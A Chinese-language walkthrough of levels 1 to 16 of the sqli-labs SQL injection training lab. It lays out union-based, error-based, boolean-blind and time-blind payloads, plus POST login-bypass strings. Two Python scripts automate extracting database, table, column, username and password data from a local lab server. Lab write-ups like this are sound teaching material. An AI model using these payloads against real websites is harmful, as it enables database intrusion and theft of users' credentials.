目录
Less--1--字符型注入
Less--15--bool 型/时间延迟 单引号 POST型盲注
概要
sqli-labs靶场对于学习SQL注入的初学者来说是一个十分友好的靶场,本博客是关于sqli-labs前16题的通关讲解。
Less--1--字符型注入
1. 提示输入数字值的ID作为参数。判断是字符型还是数字型,根据拼接单引号得到的回显,表明这是一个单引号注入。
2. 根据联合查询找出表格的列数。
?id=1' order by 3 --+
直至页面出现报错,证明列数为3。
3.爆出显示位,可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
4.爆出数据库名和版本号。得出数据库名为security,版本号为5.7.26
?id=-1' union select 1, database(),version() --+
5. 爆表名,得到回显表明security数据库下有4个表(emails,referers,uagents,users)
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6. 爆字段名,
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-
group_concat(column_name)
:这是一个 MySQL 函数,用于将多个行的值连接成一个字符串。在这里,它用于获取某个表的所有列名,并将它们连接成一个单一的字符串。 -
from information_schema.columns
:information_schema
是 MySQL 中的一个系统数据库,其中包含了关于数据库的元数据,包括所有表、列、索引等的信息。columns
是这个数据库中的一个表,它存储了所有表的列信息。 -
where table_name='users'
:通过这个条件,攻击者指定只想获取名为users
的表的列名
7.获取username和password等敏感信息
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
Less--2--数字型注入
1.和第一关一样先进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是大致相同。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
重复Less-1的2~7步骤。
Less-3-- ' )的字符型注入
通过观察报错信息得出sql语句是单引号字符型且有括号,所以我们需要闭合单引号。之后步骤相同,但需要考虑括号,对代码进行改动。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
Less--4--")字符型注入
注入个双引号闭合,MySql 报错,说明存在注入漏洞,闭合括号后回显正常,说明为 ") 的字符型漏洞。通过一下代码进行注入。
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
Less--5--字符型的报错回显注入或bool盲注
注入正确的参数,网页返回 “You are in...”,但是没有其他信息,注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页返回报错信息。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。
判断表有几列,使用order by 语句
?id=1' order by 4--+
通过报错函数来爆破出数据库名
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
爆版本号
?id=1' and updatexml(1,concat('~',(select version()),'~'),1)--+
爆用户名
?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
Less--6--字符型的错误回显注入
第六关与第五关几乎相同,只是单引号与双引号的注入不同,前几步注入类似,使用?id=1"注入得到报错可判断为双引号字符型注入。所以将第五关的命令进行尝试即。
爆破数据库名
?id=1" and updatexml(1,concat('~',(select database()),'~'),1)--+
爆破版本信息及用户名
?id=1" union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
爆破表
?id=1" and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)--+
Less--7--文件读写注入
关于文件读写注入在实战中具有诸多限制,这里不对Less--7作出说明
Less--8--基于bool的盲注
常用函数
database() 显示数据库名称
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
char() 将ASCII码转换为对应的字符
本关也可以用时间盲注,报错注入是不行的,因为报错信息被注释了。
使用order by语句判断列数,判断列数为3。
查看数据库版本,这里数据库的版本为 5.6.17,下面的语句是看版本号的第一位是不是 5,如果回显正常,那么说明第一位就是5。
?id=1' and left(version(),1)=5 -++
盲注查看数据库长度,盲注查看数据库的长度,使用length函数盲注,盲注到,长度为 8 时,正确回显,说明长度为 8。
?id=1' and length(database())=7 --+
由于bool注入太繁琐,这里使用python脚本进行简化操作(这里采用网上整理出来的脚本)。
import requests
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = f"http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>{i}"
r = requests.get(url + '%23')
if 'You are in' not in r.text:
print('database_length:', i)
return i
#获取数据库名
def database_name(databaselen):
name = ''
for j in range(1, databaselen+1):
for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),%d,1)='%s'" % (j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('database_name:', name)
# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' " \
"and substr((select group_concat(table_name) from information_schema.tables " \
"where table_schema=database()),%d,1)='%s'" % (j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('table_name:', name)
# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' " \
"and substr((select group_concat(column_name) from information_schema.columns where " \
"table_schema=database() and table_name='users'),%d,1)='%s'" % (j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('column_name:', name)
# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1'" \
"and substr((select group_concat(username) from users),%d,1)='%s'" % (j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('username_value:', name)
# 获取password
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' " \
"and substr((select group_concat(password) from users),%d,1)='%s'" % (j, i)
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
break
print('password_value:', name)
if __name__ == '__main__':
dblen = database_len()
database_name(dblen)
tables_name()
columns_name()
username_value()
password_value()
Less--9-10--基于时间的盲注
(以Less-9为例)
判断类型
正常输入
?id=1
回显
You are in...........
错误输入
?id=1'
?id=1"
回显
You are in...........
错误输入
?id=9999
回显
You are in...........
综上所述,三种输入的回显区域显示的内容均 You are in…,因此我们只能使用基于时间的注入方式。
判断注入类型
双引号字符型注入
?id=1" and if(1=1, sleep(5), 0)--+
延迟
无延迟
单引号字符型注入
?id=1' and if(1=1, sleep(5), 0)--+
延迟
延迟5s
所以 ,选择单引号字符型注入。
时间盲注
时间盲注与布尔盲注类似,布尔盲注通过观察页面的回显来判断我们构造的判断语句的布尔结果,而时间盲注则通过观察页面回显所耗费的时间来判断我们构造的判断语句的布尔结果。
sleep()
在时间盲注的过程中,我们常常使用 sleep() 函数来进行时间上的控制。MySQL 中的 sleep() 可以将查询暂停指定的秒数,秒数通过传递给 sleep() 函数的参数来指定。
使用python脚本进行简化
import requests
import time
def clock(expr):
start_time = time.time()
response = requests.request('get', expr)
return time.time() - start_time #代码运行时间函数
def decide():
left = 0
right = 9
while left <= right:
middle = (left + right) // 2
if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)>{middle}, sleep({5}), 0)--+") > TIME:
left = middle + 1
elif clock( f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)<{middle}, sleep({5}), 0)--+") > TIME:
right = middle - 1
else:
return middle
def ruler(size):
left = 0
right = 9
i = 1
length = ''
while left <= right and i <= size:
middle = (left + right) // 2
if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)>{middle}, sleep({5}), 0)--+") > TIME:
left = middle + 1
elif clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)<{middle}, sleep({5}), 0)--+") > TIME:
right = middle - 1
else:
i += 1
length += str(middle)
left = 0
right = 126
return int(length)
def process(length):
left = 32
right = 126
i = 1
result = ''
while left <= right and i <= length:
middle = (left + right) // 2
if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))>{middle}, sleep({5}), 0)--+") > TIME:
left = middle + 1
elif clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))<{middle}, sleep({5}), 0)--+") > TIME:
right = middle - 1
else:
i += 1
result += str(chr(middle))
left = 0
right = 126
print(result)
return result
if __name__ == '__main__':
TIME = 5
size = decide()
length = ruler(size)
result = process(length)
Less--10与Less--9的区别仅在于闭合方式的不同,Less--9需要正确的闭合单引号,而Less--10则需要正确的闭合双引号。
Less--11-12--POST方式注入
(以Less--11为例)
使用burp进行抓包,通过向post报文中添加 “ \ ”,来转义password的闭合符号,使SQL报错。
构造万能语句,使登陆成功。
Less--12与Less--11类似,只是闭合方式不同,Less--12是双引号闭合。
Less--13--')的报错回显注入
根据之前的语句逐步判断,使用单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息,我们需要使用 bool 盲注进行注入。
爆数据库名
uname= admin') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as admin from information_schema.tables group by admin # &passwd= ') or 1=1 # &submit=Submit
爆数据库版本
uname=admin') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)) as admin from information_schema.tables group by admin # &passwd= ') or 1=1 # &submit=Submit
Less--14--" 的报错回显注入
本关于Less--13类似,只是闭合符号为双引号,重复上关步骤即可。
uname=admin"--+&passwd=123456&submit=Submit
uname=admin" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as admin from information_schema.tables group by admin # &passwd=123456 &submit=Submit
Less--15--bool 型/时间延迟 单引号 POST型盲注
使用万能语句1 or 1=1 和 1 or 1=2发现页面正常。输入1'发现并没有报错,输入1"发现也没有报错。这次连闭合报错的信息都没有了,所以不能用报错注入了。这里可以用bool盲注或时间盲注。
接下来使用bool盲注。
1' or 1=1#
1' or 1=2#
回显显示 1=1时页面successfully,1=2时failed说明是单引号闭合。
猜测数据库长度,发现数据库长度大于7页面登录成功,大于8登录失败,所以数据库长度为8
1' or length(database())>7#
猜测数据库名,发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。重复此操作8次,确定数据库名为“security”。
1' or ascii(substr(database(),1,1))>114#
猜测表名长度,发现第一个数据库表名大于5页面正常,大于6页面false状态。所以数据库表名长度为6.
1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#
猜测表名,发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#
猜测列名长度,发现第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度。第二个列名长8,第三个列名长8。
1' or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#
猜测列名,回显第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。
1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#
猜测数据长度与数据名情况相同,只需改动代码就好。
Less--16--post 双引号 括号闭合的布尔盲注
Less--15是典型的布尔盲注,是 ' 闭合。这一关是 ") 闭合。思路也与15关相同。
唯一不同的就是闭合不同,一个一个尝试就行。一般都是单引号、双引号,或者引号和括号混合。
经过尝试得到payload为
1") or 1=1#
1") or 1=2#
接下来,爆破代码只需在15关的基础上改动即可。